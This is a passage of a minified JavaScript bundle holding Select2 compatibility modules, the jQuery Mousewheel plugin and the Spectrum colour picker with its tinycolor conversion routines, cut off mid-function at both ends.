o=this._currentData[s];r.push.apply(r,i(o,this.$element.val().split(this._valueSeparator)))}n(r)};n.prototype.select=function(t,n){if(!this.options.get("multiple")){this.current((function(t){e.map(t,(function(e){e.selected=false}))}));this.$element.val(n.id);this.$element.trigger("input").trigger("change")}else{var i=this.$element.val();i+=this._valueSeparator+n.id;this.$element.val(i);this.$element.trigger("input").trigger("change")}};n.prototype.unselect=function(e,t){var n=this;t.selected=false;this.current((function(e){var i=[];for(var r=0;r<e.length;r++){var s=e[r];if(t.id==s.id){continue}i.push(s.id)}n.$element.val(i.join(n._valueSeparator));n.$element.trigger("input").trigger("change")}))};n.prototype.query=function(e,t,n){var i=[];for(var r=0;r<this._currentData.length;r++){var s=this._currentData[r];var o=this.matches(t,s);if(o!==null){i.push(o)}}n({results:i})};n.prototype.addOptions=function(n,i){var r=e.map(i,(function(e){return t.GetData(e[0],"data")}));this._currentData.push.apply(this._currentData,r)};return n}));n.define("select2/compat/matcher",["jquery"],(function(e){function t(t){function n(n,i){var r=e.extend(true,{},i);if(n.term==null||e.trim(n.term)===""){return r}if(i.children){for(var s=i.children.length-1;s>=0;s--){var o=i.children[s];var a=t(n.term,o.text,o);if(!a){r.children.splice(s,1)}}if(r.children.length>0){return r}}if(t(n.term,i.text,i)){return r}return null}return n}return t}));n.define("select2/compat/query",[],(function(){function e(e,t,n){if(n.get("debug")&&window.console&&console.warn){console.warn("Select2: The `query` option has been deprecated in favor of a "+"custom data adapter that overrides the `query` method. Support "+"will be removed for the `query` option in future versions of "+"Select2.")}e.call(this,t,n)}e.prototype.query=function(e,t,n){t.callback=n;var i=this.options.get("query");i.call(null,t)};return e}));n.define("select2/dropdown/attachContainer",[],(function(){function e(e,t,n){e.call(this,t,n)}e.prototype.position=function(e,t,n){var i=n.find(".dropdown-wrapper");i.append(t);t.addClass("select2-dropdown--below");n.addClass("select2-container--below")};return e}));n.define("select2/dropdown/stopPropagation",[],(function(){function e(){}e.prototype.bind=function(e,t,n){e.call(this,t,n);var i=["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"];this.$dropdown.on(i.join(" "),(function(e){e.stopPropagation()}))};return e}));n.define("select2/selection/stopPropagation",[],(function(){function e(){}e.prototype.bind=function(e,t,n){e.call(this,t,n);var i=["blur","change","click","dblclick","focus","focusin","focusout","input","keydown","keyup","keypress","mousedown","mouseenter","mouseleave","mousemove","mouseover","mouseup","search","touchend","touchstart"];this.$selection.on(i.join(" "),(function(e){e.stopPropagation()}))};return e})); /*! * jQuery Mousewheel 3.1.13 * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license */(function(t){if(typeof n.define==="function"&&n.define.amd){n.define("jquery-mousewheel",["jquery"],t)}else if(true){e.exports=t}else{}})((function(e){var t=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],n="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice,r,s;if(e.event.fixHooks){for(var o=t.length;o;){e.event.fixHooks[t[--o]]=e.event.mouseHooks}}var a=e.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener){for(var t=n.length;t;){this.addEventListener(n[--t],l,false)}}else{this.onmousewheel=l}e.data(this,"mousewheel-line-height",a.getLineHeight(this));e.data(this,"mousewheel-page-height",a.getPageHeight(this))},teardown:function(){if(this.removeEventListener){for(var t=n.length;t;){this.removeEventListener(n[--t],l,false)}}else{this.onmousewheel=null}e.removeData(this,"mousewheel-line-height");e.removeData(this,"mousewheel-page-height")},getLineHeight:function(t){var n=e(t),i=n["offsetParent"in e.fn?"offsetParent":"parent"]();if(!i.length){i=e("body")}return parseInt(i.css("fontSize"),10)||parseInt(n.css("fontSize"),10)||16},getPageHeight:function(t){return e(t).height()},settings:{adjustOldDeltas:true,normalizeOffset:true}};e.fn.extend({mousewheel:function(e){return e?this.bind("mousewheel",e):this.trigger("mousewheel")},unmousewheel:function(e){return this.unbind("mousewheel",e)}});function l(t){var n=t||window.event,o=i.call(arguments,1),l=0,f=0,d=0,h=0,p=0,g=0;t=e.event.fix(n);t.type="mousewheel";if("detail"in n){d=n.detail*-1}if("wheelDelta"in n){d=n.wheelDelta}if("wheelDeltaY"in n){d=n.wheelDeltaY}if("wheelDeltaX"in n){f=n.wheelDeltaX*-1}if("axis"in n&&n.axis===n.HORIZONTAL_AXIS){f=d*-1;d=0}l=d===0?f:d;if("deltaY"in n){d=n.deltaY*-1;l=d}if("deltaX"in n){f=n.deltaX;if(d===0){l=f*-1}}if(d===0&&f===0){return}if(n.deltaMode===1){var v=e.data(this,"mousewheel-line-height");l*=v;d*=v;f*=v}else if(n.deltaMode===2){var m=e.data(this,"mousewheel-page-height");l*=m;d*=m;f*=m}h=Math.max(Math.abs(d),Math.abs(f));if(!s||h<s){s=h;if(c(n,h)){s/=40}}if(c(n,h)){l/=40;f/=40;d/=40}l=Math[l>=1?"floor":"ceil"](l/s);f=Math[f>=1?"floor":"ceil"](f/s);d=Math[d>=1?"floor":"ceil"](d/s);if(a.settings.normalizeOffset&&this.getBoundingClientRect){var y=this.getBoundingClientRect();p=t.clientX-y.left;g=t.clientY-y.top}t.deltaX=f;t.deltaY=d;t.deltaFactor=s;t.offsetX=p;t.offsetY=g;t.deltaMode=0;o.unshift(t,l,f,d);if(r){clearTimeout(r)}r=setTimeout(u,200);return(e.event.dispatch||e.event.handle).apply(this,o)}function u(){s=null}function c(e,t){return a.settings.adjustOldDeltas&&e.type==="mousewheel"&&t%120===0}}));n.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],(function(e,t,n,i,r){if(e.fn.select2==null){var s=["open","close","destroy"];e.fn.select2=function(t){t=t||{};if(typeof t==="object"){this.each((function(){var i=e.extend(true,{},t);var r=new n(e(this),i)}));return this}else if(typeof t==="string"){var i;var o=Array.prototype.slice.call(arguments,1);this.each((function(){var e=r.GetData(this,"select2");if(e==null&&window.console&&console.error){console.error("The select2('"+t+"') method was called on an "+"element that is not using Select2.")}i=e[t].apply(e,o)}));if(e.inArray(t,s)>-1){return this}return i}else{throw new Error("Invalid arguments for Select2: "+t)}}}if(e.fn.select2.defaults==null){e.fn.select2.defaults=i}return n}));return{define:n.define,require:n.require}}();var i=n.require("jquery.select2");t.fn.select2.amd=n;return i}))},505:(e,t,n)=>{var i,r,s;(function(o){"use strict";if(true){!(r=[n(486)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e,t){"use strict";var n={beforeShow:h,move:h,change:h,show:h,hide:h,color:false,flat:false,type:"",showInput:false,allowEmpty:true,showButtons:true,clickoutFiresChange:true,showInitial:false,showPalette:true,showPaletteOnly:false,hideAfterPaletteSelect:false,togglePaletteOnly:false,showSelectionPalette:true,localStorageKey:false,appendTo:"body",maxSelectionSize:8,locale:"en",cancelText:"cancel",chooseText:"choose",togglePaletteMoreText:"more",togglePaletteLessText:"less",clearText:"Clear Color Selection",noColorSelectedText:"No Color Selected",preferredFormat:"name",className:"",containerClassName:"",replacerClassName:"",showAlpha:true,theme:"sp-light",palette:[["#000000","#444444","#5b5b5b","#999999","#bcbcbc","#eeeeee","#f3f6f4","#ffffff"],["#f44336","#744700","#ce7e00","#8fce00","#2986cc","#16537e","#6a329f","#c90076"],["#f4cccc","#fce5cd","#fff2cc","#d9ead3","#d0e0e3","#cfe2f3","#d9d2e9","#ead1dc"],["#ea9999","#f9cb9c","#ffe599","#b6d7a8","#a2c4c9","#9fc5e8","#b4a7d6","#d5a6bd"],["#e06666","#f6b26b","#ffd966","#93c47d","#76a5af","#6fa8dc","#8e7cc3","#c27ba0"],["#cc0000","#e69138","#f1c232","#6aa84f","#45818e","#3d85c6","#674ea7","#a64d79"],["#990000","#b45f06","#bf9000","#38761d","#134f5c","#0b5394","#351c75","#741b47"],["#660000","#783f04","#7f6000","#274e13","#0c343d","#073763","#20124d","#4c1130"]],selectionPalette:[],disabled:false,offset:null},i=[],r=!!/msie/i.exec(window.navigator.userAgent),s=function(){function e(e,t){return!!~(""+e).indexOf(t)}var t=document.createElement("div");var n=t.style;n.cssText="background-color:rgba(0,0,0,.5)";return e(n.backgroundColor,"rgba")||e(n.backgroundColor,"hsla")}(),o=["<div class='sp-replacer'>","<div class='sp-preview'><div class='sp-preview-inner'></div></div>","<div class='sp-dd'>▼</div>","</div>"].join(""),a=function(){var e="";if(r){for(var t=1;t<=6;t++){e+="<div class='sp-"+t+"'></div>"}}return["<div class='sp-container sp-hidden'>","<div class='sp-palette-container'>","<div class='sp-palette sp-thumb sp-cf'></div>","<div class='sp-palette-button-container sp-cf'>","<button type='button' class='sp-palette-toggle'></button>","</div>","</div>","<div class='sp-picker-container'>","<div class='sp-top sp-cf'>","<div class='sp-fill'></div>","<div class='sp-top-inner'>","<div class='sp-color'>","<div class='sp-sat'>","<div class='sp-val'>","<div class='sp-dragger'></div>","</div>","</div>","</div>","<div class='sp-clear sp-clear-display'>","</div>","<div class='sp-hue'>","<div class='sp-slider'></div>",e,"</div>","</div>","<div class='sp-alpha'><div class='sp-alpha-inner'><div class='sp-alpha-handle'></div></div></div>","</div>","<div class='sp-input-container sp-cf'>","<input class='sp-input' type='text' spellcheck='false' />","</div>","<div class='sp-initial sp-thumb sp-cf'></div>","<div class='sp-button-container sp-cf'>","<button class='sp-cancel' href='#'></button>","<button type='button' class='sp-choose'></button>","</div>","</div>","</div>"].join("")}();function l(e,t,n,i){var r=[];for(var o=0;o<e.length;o++){var a=e[o];if(a){var l=tinycolor(a);var u=l.toHsl().l<.5?"sp-thumb-el sp-thumb-dark":"sp-thumb-el sp-thumb-light";u+=tinycolor.equals(t,a)?" sp-thumb-active":"";var c=l.toString(i.preferredFormat||"rgb");var f=s?"background-color:"+l.toRgbString():"filter:"+l.toFilter();r.push('<span title="'+c+'" data-color="'+l.toRgbString()+'" class="'+u+'"><span class="sp-thumb-inner" style="'+f+';"></span></span>')}else{r.push('<span class="sp-thumb-el sp-clear-display" ><span class="sp-clear-palette-only" style="background-color: transparent;"></span></span>')}}return"<div class='sp-cf "+n+"'>"+r.join("")+"</div>"}function u(){for(var e=0;e<i.length;e++){if(i[e]){i[e].hide()}}}function c(t,i){t.locale=t.locale||window.navigator.language;if(t.locale)t.locale=t.locale.split("-")[0].toLowerCase();if(t.locale!="en"&&e.spectrum.localization[t.locale]){t=e.extend({},e.spectrum.localization[t.locale],t)}var r=e.extend({},n,t);r.callbacks={move:g(r.move,i),change:g(r.change,i),show:g(r.show,i),hide:g(r.hide,i),beforeShow:g(r.beforeShow,i)};return r}function f(n,f){var h=c(f,n),g=h.type,b=g=="flat",_=h.showSelectionPalette,w=h.localStorageKey,x=h.theme,k=h.callbacks,C=m(et,10),E=false,A=false,T=0,S=0,j=0,D=0,O=0,N=0,P=0,L=0,F=0,I=0,M=0,$=1,R=[],H=[],B={},q=h.selectionPalette.slice(0),z=h.maxSelectionSize,W="sp-dragging",Q=false,V=null;var U=n.ownerDocument,K=U.body,G=e(n),Y=false,X=e(a,U).addClass(x),J=X.find(".sp-picker-container"),Z=X.find(".sp-color"),ee=X.find(".sp-dragger"),te=X.find(".sp-hue"),ne=X.find(".sp-slider"),ie=X.find(".sp-alpha-inner"),re=X.find(".sp-alpha"),se=X.find(".sp-alpha-handle"),oe=X.find(".sp-input"),ae=X.find(".sp-palette"),le=X.find(".sp-initial"),ue=X.find(".sp-cancel"),ce=X.find(".sp-clear"),fe=X.find(".sp-choose"),de=X.find(".sp-palette-toggle"),he=G.is("input"),pe=he&&G.attr("type")==="color"&&y(),ge=he&&g=="color",ve=ge?e(o).addClass(x).addClass(h.className).addClass(h.replacerClassName):e([]),me=ge?ve:G,ye=ve.find(".sp-preview-inner"),be=h.color||he&&G.val(),_e=false,we=h.preferredFormat,xe=!h.showButtons||h.clickoutFiresChange,ke=!be,Ce=h.allowEmpty;var Ee=null,Ae=null,Te=null,Se=null;var je=G.attr("id");if(je!==t&&je.length>0){var De=e('label[for="'+je+'"]');if(De.length){De.on("click",(function(e){e.preventDefault();G.spectrum("show");return false}))}}function Oe(){if(h.showPaletteOnly){h.showPalette=true}de.text(h.showPaletteOnly?h.togglePaletteMoreText:h.togglePaletteLessText);if(h.palette){R=h.palette.slice(0);H=Array.isArray(R[0])?R:[R];B={};for(var e=0;e<H.length;e++){for(var t=0;t<H[e].length;t++){var n=tinycolor(H[e][t]).toRgbString();B[n]=true}}if(h.showPaletteOnly&&!be){be=R[0][0]===""?R[0][0]:Object.keys(B)[0]}}X.toggleClass("sp-flat",b);X.toggleClass("sp-input-disabled",!h.showInput);X.toggleClass("sp-alpha-enabled",h.showAlpha);X.toggleClass("sp-clear-enabled",Ce);X.toggleClass("sp-buttons-disabled",!h.showButtons);X.toggleClass("sp-palette-buttons-disabled",!h.togglePaletteOnly);X.toggleClass("sp-palette-disabled",!h.showPalette);X.toggleClass("sp-palette-only",h.showPaletteOnly);X.toggleClass("sp-initial-disabled",!h.showInitial);X.addClass(h.className).addClass(h.containerClassName);et()}function Ne(){if(r){X.find("*:not(input)").attr("unselectable","on")}Oe();Ee=e('<span class="sp-original-input-container"></span>');["margin"].forEach((function(e){Ee.css(e,G.css(e))}));if(G.css("display")=="block")Ee.css("display","flex");if(ge){G.after(ve).hide()}else if(g=="text"){Ee.addClass("sp-colorize-container");G.addClass("spectrum sp-colorize").wrap(Ee)}else if(g=="component"){G.addClass("spectrum").wrap(Ee);var t=e(["<div class='sp-colorize-container sp-add-on'>","<div class='sp-colorize'></div> ","</div>"].join(""));t.width(G.outerHeight()+"px").css("border-radius",G.css("border-radius")).css("border",G.css("border"));G.addClass("with-add-on").before(t)}Ae=G.parent().find(".sp-colorize");Te=Ae.css("color");Se=Ae.css("background-color");if(!Ce){ce.hide()}if(b){G.after(X).hide()}else{var n=h.appendTo==="parent"?G.parent():e(h.appendTo);if(n.length!==1){n=e("body")}n.append(X)}Pe();me.on("click.spectrum touchstart.spectrum",(function(t){if(!Y){qe()}t.stopPropagation();if(!e(t.target).is("input")){t.preventDefault()}}));if(G.is(":disabled")||h.disabled===true){rt()}X.on("click",p);[oe,G].forEach((function(t){t.on("change",(function(){He(t.val())}));t.on("paste",(function(){setTimeout((function(){He(t.val())}),1)}));t.on("keydown",(function(n){if(n.keyCode==13){He(e(t).val());if(t==G)Qe()}}))}));ue.text(h.cancelText);ue.on("click.spectrum",(function(e){e.stopPropagation();e.preventDefault();Ve();Qe()}));ce.attr("title",h.clearText);ce.on("click.spectrum",(function(e){e.stopPropagation();e.preventDefault();ke=true;Ye();if(b){Ze(true)}}));fe.text(h.chooseText);fe.on("click.spectrum",(function(e){e.stopPropagation();e.preventDefault();if(r&&oe.is(":focus")){oe.trigger("change")}if(Ge()){Ze(true);Qe()}}));de.text(h.showPaletteOnly?h.togglePaletteMoreText:h.togglePaletteLessText);de.on("click.spectrum",(function(e){e.stopPropagation();e.preventDefault();h.showPaletteOnly=!h.showPaletteOnly;if(!h.showPaletteOnly&&!b){X.css("left","-="+(J.outerWidth(true)+5))}Oe()}));v(re,(function(e,t,n){$=e/N;ke=false;if(n.shiftKey){$=Math.round($*10)/10}Ye()}),$e,Re);v(te,(function(e,t){F=parseFloat(t/D);ke=false;if(!h.showAlpha){$=1}Ye()}),$e,Re);v(Z,(function(e,t,n){if(!n.shiftKey){V=null}else if(!V){var i=I*T;var r=S-M*S;var s=Math.abs(e-i)>Math.abs(t-r);V=s?"x":"y"}var o=!V||V==="x";var a=!V||V==="y";if(o){I=parseFloat(e/T)}if(a){M=parseFloat((S-t)/S)}ke=false;if(!h.showAlpha){$=1}Ye()}),$e,Re);if(!!be){Ue(be);Xe();we=tinycolor(be).format||h.preferredFormat;Le(be)}else if(be===""){Ue(be);Xe()}else{Xe()}if(b){qe()}function i(t){if(t.data&&t.data.ignore){Ue(e(t.target).closest(".sp-thumb-el").data("color"));Ye()}else{Ue(e(t.target).closest(".sp-thumb-el").data("color"));Ye();if(h.hideAfterPaletteSelect){Ze(true);Qe()}else{Ze()}}return false}var s=r?"mousedown.spectrum":"click.spectrum touchstart.spectrum";ae.on(s,".sp-thumb-el",i);le.on(s,".sp-thumb-el:nth-child(1)",{ignore:true},i)}function Pe(){if(w){try{var t=window.localStorage;var n=t[w].split(",#");if(n.length>1){delete t[w];e.each(n,(function(e,t){Le(t)}))}}catch(e){}try{q=window.localStorage[w].split(";")}catch(e){}}}function Le(t){if(_){var n=tinycolor(t).toRgbString();if(!B[n]&&e.inArray(n,q)===-1){q.push(n);while(q.length>z){q.shift()}}if(w){try{window.localStorage[w]=q.join(";")}catch(e){}}}}function Fe(){var e=[];if(h.showPalette){for(var t=0;t<q.length;t++){var n=tinycolor(q[t]).toRgbString();if(!B[n]){e.push(q[t])}}}return e.reverse().slice(0,h.maxSelectionSize)}function Ie(){var t=Ke();var n=e.map(H,(function(e,n){return l(e,t,"sp-palette-row sp-palette-row-"+n,h)}));Pe();if(q){n.push(l(Fe(),t,"sp-palette-row sp-palette-row-selection",h))}ae.html(n.join(""))}function Me(){if(h.showInitial){var e=_e;var t=Ke();le.html(l([e,t],t,"sp-palette-row-initial",h))}}function $e(){if(S<=0||T<=0||D<=0){et()}A=true;X.addClass(W);V=null;G.trigger("dragstart.spectrum",[Ke()])}function Re(){A=false;X.removeClass(W);G.trigger("dragstop.spectrum",[Ke()])}function He(e){if(Q){Q=false;return}if((e===null||e==="")&&Ce){Ue(null);Ye();Ze()}else{var t=tinycolor(e);if(t.isValid()){Ue(t);Ye();Ze()}else{oe.addClass("sp-validation-error")}}}function Be(){if(E){Qe()}else{qe()}}function qe(){var t=e.Event("beforeShow.spectrum");if(E){et();return}G.trigger(t,[Ke()]);if(k.beforeShow(Ke())===false||t.isDefaultPrevented()){return}u();E=true;e(U).on("keydown.spectrum",ze);e(U).on("click.spectrum",We);e(window).on("resize.spectrum",C);ve.addClass("sp-active");X.removeClass("sp-hidden");et();Xe();_e=Ke();Me();k.show(_e);G.trigger("show.spectrum",[_e])}function ze(e){if(e.keyCode===27){Qe()}}function We(e){if(e.button==2){return}if(A){return}if(xe){Ze(true)}else{Ve()}Qe()}function Qe(){if(!E||b){return}E=false;e(U).off("keydown.spectrum",ze);e(U).off("click.spectrum",We);e(window).off("resize.spectrum",C);ve.removeClass("sp-active");X.addClass("sp-hidden");k.hide(Ke());G.trigger("hide.spectrum",[Ke()])}function Ve(){Ue(_e,true);Ze(true)}function Ue(e,n){if(tinycolor.equals(e,Ke())){Xe();return}var i,r;if((!e||e===t)&&Ce){ke=true}else{ke=false;i=tinycolor(e);r=i.toHsv();F=r.h%360/360;I=r.s;M=r.v;$=r.a}Xe();if(i&&i.isValid()&&!n){we=h.preferredFormat||i.getFormat()}}function Ke(e){e=e||{};if(Ce&&ke){return null}return tinycolor.fromRatio({h:F,s:I,v:M,a:Math.round($*1e3)/1e3},{format:e.format||we})}function Ge(){return!oe.hasClass("sp-validation-error")}function Ye(){Xe();k.move(Ke());G.trigger("move.spectrum",[Ke()])}function Xe(){oe.removeClass("sp-validation-error");Je();var e=tinycolor.fromRatio({h:F,s:1,v:1});Z.css("background-color",e.toHexString());var t=we;if($<1&&!($===0&&t==="name")){if(t==="hex"||t==="hex3"||t==="hex6"||t==="name"){t="rgb"}}var n=Ke({format:t}),i="";ye.removeClass("sp-clear-display");ye.css("background-color","transparent");if(!n&&Ce){ye.addClass("sp-clear-display")}else{var o=n.toHexString(),a=n.toRgbString();if(s||n.alpha===1){ye.css("background-color",a)}else{ye.css("background-color","transparent");ye.css("filter",n.toFilter())}if(h.showAlpha){var l=n.toRgb();l.a=0;var u=tinycolor(l).toRgbString();var c="linear-gradient(left, "+u+", "+o+")";if(r){ie.css("filter",tinycolor(u).toFilter({gradientType:1},o))}else{ie.css("background","-webkit-"+c);ie.css("background","-moz-"+c);ie.css("background","-ms-"+c);ie.css("background","linear-gradient(to right, "+u+", "+o+")")}}i=n.toString(t)}if(h.showInput){oe.val(i)}G.val(i);if(h.type=="text"||h.type=="component"){var f=n;if(f&&Ae){var d=f.isLight()||f.getAlpha()<.4?"black":"white";Ae.css("background-color",f.toRgbString()).css("color",d)}else{Ae.css("background-color",Se).css("color",Te)}}if(h.showPalette){Ie()}Me()}function Je(){var e=I;var t=M;if(Ce&&ke){se.hide();ne.hide();ee.hide()}else{se.show();ne.show();ee.show();var n=e*T;var i=S-t*S;n=Math.max(-j,Math.min(T-j,n-j));i=Math.max(-j,Math.min(S-j,i-j));ee.css({top:i+"px",left:n+"px"});var r=$*N;se.css({left:r-P/2+"px"});var s=F*D;ne.css({top:s-L+"px"})}}function Ze(e){var t=Ke(),n="",i=!tinycolor.equals(t,_e);if(t){n=t.toString(we);Le(t)}if(e&&i){k.change(t);Q=true;G.trigger("change",[t])}}function et(){if(!E){return}T=Z.width();S=Z.height();j=ee.height();O=te.width();D=te.height();L=ne.height();N=re.width();P=se.width();if(!b){X.css("position","absolute");if(h.offset){X.offset(h.offset)}else{X.offset(d(X,me))}}Je();if(h.showPalette){Ie()}G.trigger("reflow.spectrum")}function tt(){G.show().removeClass("spectrum with-add-on sp-colorize");me.off("click.spectrum touchstart.spectrum");X.remove();ve.remove();if(Ae){Ae.css("background-color",Se).css("color",Te)}var e=G.closest(".sp-original-input-container");if(e.length>0){e.after(G).remove()}i[ot.id]=null}function nt(n,i){if(n===t){return e.extend({},h)}if(i===t){return h[n]}h[n]=i;if(n==="preferredFormat"){we=h.preferredFormat}Oe()}function it(){Y=false;G.attr("disabled",false);me.removeClass("sp-disabled")}function rt(){Qe();Y=true;G.attr("disabled",true);me.addClass("sp-disabled")}function st(e){h.offset=e;et()}Ne();var ot={show:qe,hide:Qe,toggle:Be,reflow:et,option:nt,enable:it,disable:rt,offset:st,set:function(e){Ue(e);Ze()},get:Ke,destroy:tt,container:X};ot.id=i.push(ot)-1;return ot}function d(t,n){var i=0;var r=t.outerWidth();var s=t.outerHeight();var o=n.outerHeight();var a=t[0].ownerDocument;var l=a.documentElement;var u=l.clientWidth+e(a).scrollLeft();var c=l.clientHeight+e(a).scrollTop();var f=n.offset();var d=f.left;var h=f.top;h+=o;d-=Math.min(d,d+r>u&&u>r?Math.abs(d+r-u):0);h-=Math.min(h,h+s>c&&c>s?Math.abs(s+o-i):i);return{top:h,bottom:f.bottom,left:d,right:f.right,width:f.width,height:f.height}}function h(){}function p(e){e.stopPropagation()}function g(e,t){var n=Array.prototype.slice;var i=n.call(arguments,2);return function(){return e.apply(t,i.concat(n.call(arguments)))}}function v(t,n,i,s){n=n||function(){};i=i||function(){};s=s||function(){};var o=document;var a=false;var l={};var u=0;var c=0;var f="ontouchstart"in window;var d={};d["selectstart"]=h;d["dragstart"]=h;d["touchmove mousemove"]=p;d["touchend mouseup"]=v;function h(e){if(e.stopPropagation){e.stopPropagation()}if(e.preventDefault){e.preventDefault()}e.returnValue=false}function p(e){if(a){if(r&&o.documentMode<9&&!e.button){return v()}var i=e.originalEvent&&e.originalEvent.touches&&e.originalEvent.touches[0];var s=i&&i.pageX||e.pageX;var d=i&&i.pageY||e.pageY;var p=Math.max(0,Math.min(s-l.left,c));var g=Math.max(0,Math.min(d-l.top,u));if(f){h(e)}n.apply(t,[p,g,e])}}function g(n){var r=n.which?n.which==3:n.button==2;if(!r&&!a){if(i.apply(t,arguments)!==false){a=true;u=e(t).height();c=e(t).width();l=e(t).offset();e(o).on(d);e(o.body).addClass("sp-dragging");p(n);h(n)}}}function v(){if(a){e(o).off(d);e(o.body).removeClass("sp-dragging");setTimeout((function(){s.apply(t,arguments)}),0)}a=false}e(t).on("touchstart mousedown",g)}function m(e,t,n){var i;return function(){var r=this,s=arguments;var o=function(){i=null;e.apply(r,s)};if(n)clearTimeout(i);if(n||!i)i=setTimeout(o,t)}}function y(){return e.fn.spectrum.inputTypeColorSupport()}var b="spectrum.id";e.fn.spectrum=function(t,n){if(typeof t=="string"){var r=this;var s=Array.prototype.slice.call(arguments,1);this.each((function(){var n=i[e(this).data(b)];if(n){var o=n[t];if(!o){throw new Error("Spectrum: no such method: '"+t+"'")}if(t=="get"){r=n.get()}else if(t=="container"){r=n.container}else if(t=="option"){r=n.option.apply(n,s)}else if(t=="destroy"){n.destroy();e(this).removeData(b)}else{o.apply(n,s)}}}));return r}return this.spectrum("destroy").each((function(){var n=e.extend({},e(this).data(),t);if(!e(this).is("input"))n.type="noInput";else if(n.flat||n.type=="flat")n.type="flat";else if(e(this).attr("type")=="color")n.type="color";else n.type=n.type||"component";var i=f(this,n);e(this).data(b,i.id)}))};e.fn.spectrum.load=true;e.fn.spectrum.loadOpts={};e.fn.spectrum.draggable=v;e.fn.spectrum.defaults=n;e.fn.spectrum.inputTypeColorSupport=function t(){if(typeof t._cachedResult==="undefined"){var n=e("<input type='color'/>")[0];t._cachedResult=n.type==="color"&&n.value!==""}return t._cachedResult};e.spectrum={};e.spectrum.localization={};e.spectrum.palettes={};e.fn.spectrum.processNativeColorInputs=function(){var t=e("input[type=color]");if(t.length&&!y()){t.spectrum({preferredFormat:"hex6"})}};(function(){var e=/^[\s,#]+/,t=/\s+$/,n=0,i=Math,r=i.round,s=i.min,o=i.max,a=i.random;var l=function(e,t){e=e?e:"";t=t||{};if(e instanceof l){return e}if(!(this instanceof l)){return new l(e,t)}var i=u(e);this._originalInput=e;this._r=i.r;this._g=i.g;this._b=i.b;this._a=i.a;this._roundA=r(1e3*this._a)/1e3;this._format=t.format||i.format;this._gradientType=t.gradientType;if(this._r<1){this._r=r(this._r)}if(this._g<1){this._g=r(this._g)}if(this._b<1){this._b=r(this._b)}this._ok=i.ok;this._tc_id=n++};l.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var e=this.toRgb();return(e.r*299+e.g*587+e.b*114)/1e3},setAlpha:function(e){this._a=P(e);this._roundA=r(1e3*this._a)/1e3;return this},toHsv:function(){var e=h(this._r,this._g,this._b);return{h:e.h*360,s:e.s,v:e.v,a:this._a}},toHsvString:function(){var e=h(this._r,this._g,this._b);var t=r(e.h*360),n=r(e.s*100),i=r(e.v*100);return this._a==1?"hsv("+t+", "+n+"%, "+i+"%)":"hsva("+t+", "+n+"%, "+i+"%, "+this._roundA+")"},toHsl:function(){var e=f(this._r,this._g,this._b);return{h:e.h*360,s:e.s,l:e.l,a:this._a}},toHslString:function(){var e=f(this._r,this._g,this._b);var t=r(e.h*360),n=r(e.s*100),i=r(e.l*100);return this._a==1?"hsl("+t+", "+n+"%, "+i+"%)":"hsla("+t+", "+n+"%, "+i+"%, "+this._roundA+")"},toHex:function(e){return g(this._r,this._g,this._b,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(){return v(this._r,this._g,this._b,this._a)},toHex8String:function(){return"#"+this.toHex8()},toRgb:function(){return{r:r(this._r),g:r(this._g),b:r(this._b),a:this._a}},toRgbString:function(){return this._a==1?"rgb("+r(this._r)+", "+r(this._g)+", "+r(this._b)+")":"rgba("+r(this._r)+", "+r(this._g)+", "+r(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:r(L(this._r,255)*100)+"%",g:r(L(this._g,255)*100)+"%",b:r(L(this._b,255)*100)+"%",a:this._a}},toPercentageRgbString:function(){return this._a==1?"rgb("+r(L(this._r,255)*100)+"%, "+r(L(this._g,255)*100)+"%, "+r(L(this._b,255)*100)+"%)":"rgba("+r(L(this._r,255)*100)+"%, "+r(L(this._g,255)*100)+"%, "+r(L(this._b,255)*100)+"%, "+this._roundA+")"},toName:function(){if(this._a===0){return"transparent"}if(this._a<1){return false}return O[g(this._r,this._g,this._b,true)]||false},toFilter:function(e){var t="#"+v(this._r,this._g,this._b,this._a);var n=t;var i=this._gradientType?"GradientType = 1, ":"";if(e){var r=l(e);n=r.toHex8String()}return"progid:DXImageTransform.Microsoft.gradient("+i+"startColorstr="+t+",endColorstr="+n+")"},toString:function(e){var t=!!e;e=e||this._format;var n=false;var i=this._a<1&&this._a>=0;var r=!t&&i&&(e==="hex"||e==="hex6"||e==="hex3"||e==="name");if(r){if(e==="name"&&this._a===0){return this.toName()}return this.toRgbString()}if(e==="rgb"){n=this.toRgbString()}if(e==="prgb"){n=this.toPercentageRgbString()}if(e==="hex"||e==="hex6"){n=this.toHexString()}if(e==="hex3"){n=this.toHexString(true)}if(e==="hex8"){n=this.toHex8String()}if(e==="name"){n=this.toName()}if(e==="hsl"){n=this.toHslString()}if(e==="hsv"){n=this.toHsvString()}return n||this.toHexString()},_applyModification:function(e,t){var n=e.apply(null,[this].concat([].slice.call(t)));this._r=n._r;this._g=n._g;this._b=n._b;this.setAlpha(n._a);return this},lighten:function(){return this._applyModification(_,arguments)},brighten:function(){return this._applyModification(w,arguments)},darken:function(){return this._applyModification(x,arguments)},desaturate:function(){return this._applyModification(m,arguments)},saturate:function(){return this._applyModification(y,arguments)},greyscale:function(){return this._applyModification(b,arguments)},spin:function(){return this._applyModification(k,arguments)},_applyCombination:function(e,t){return e.apply(null,[this].concat([].slice.call(t)))},analogous:function(){return this._applyCombination(S,arguments)},complement:function(){return this._applyCombination(C,arguments)},monochromatic:function(){return this._applyCombination(j,arguments)},splitcomplement:function(){return this._applyCombination(T,arguments)},triad:function(){return this._applyCombination(E,arguments)},tetrad:function(){return this._applyCombination(A,arguments)}};l.fromRatio=function(e,t){if(typeof e=="object"){var n={};for(var i in e){if(e.hasOwnProperty(i)){if(i==="a"){n[i]=e[i]}else{n[i]=H(e[i])}}}e=n}return l(e,t)};function u(e){var 